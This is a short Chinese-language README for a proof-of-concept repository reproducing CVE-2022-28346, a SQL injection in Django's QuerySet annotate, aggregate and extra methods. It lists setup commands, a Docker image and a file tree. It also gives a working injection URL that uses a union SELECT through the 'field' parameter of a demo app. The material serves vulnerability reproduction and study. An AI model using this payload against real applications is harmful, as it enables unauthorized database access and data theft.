Django QuerySet.annotate(), aggregate(), extra() SQL 注入### CVE-2022-28346
Django QuerySet.annotate(), aggregate(), extra() SQL 注入
### 环境初始化
```
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 插入初始化数据
```
### 漏洞复现
```
访问http://x.x.x.x:8000/demo
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
```

### Docker
```
docker pull s0cke3t/cve-2022-28346:latest
```
[4.0K] /data/pocs/4f13296ee29192f3975f2f5bf776039e54a12b18
├── [4.0K] CVE_2022_28346
│ ├── [ 405] asgi.py
│ ├── [ 0] __init__.py
│ ├── [3.2K] settings.py
│ ├── [ 811] urls.py
│ └── [ 405] wsgi.py
├── [4.0K] demo
│ ├── [ 63] admin.py
│ ├── [ 140] apps.py
│ ├── [ 0] __init__.py
│ ├── [4.0K] migrations
│ │ ├── [ 485] 0001_initial.py
│ │ └── [ 0] __init__.py
│ ├── [ 177] models.py
│ ├── [ 60] tests.py
│ └── [ 592] views.py
├── [ 46K] image-20220426224053969.png
├── [ 670] manage.py
├── [ 506] README.md
└── [ 14] requirements.txt
3 directories, 17 files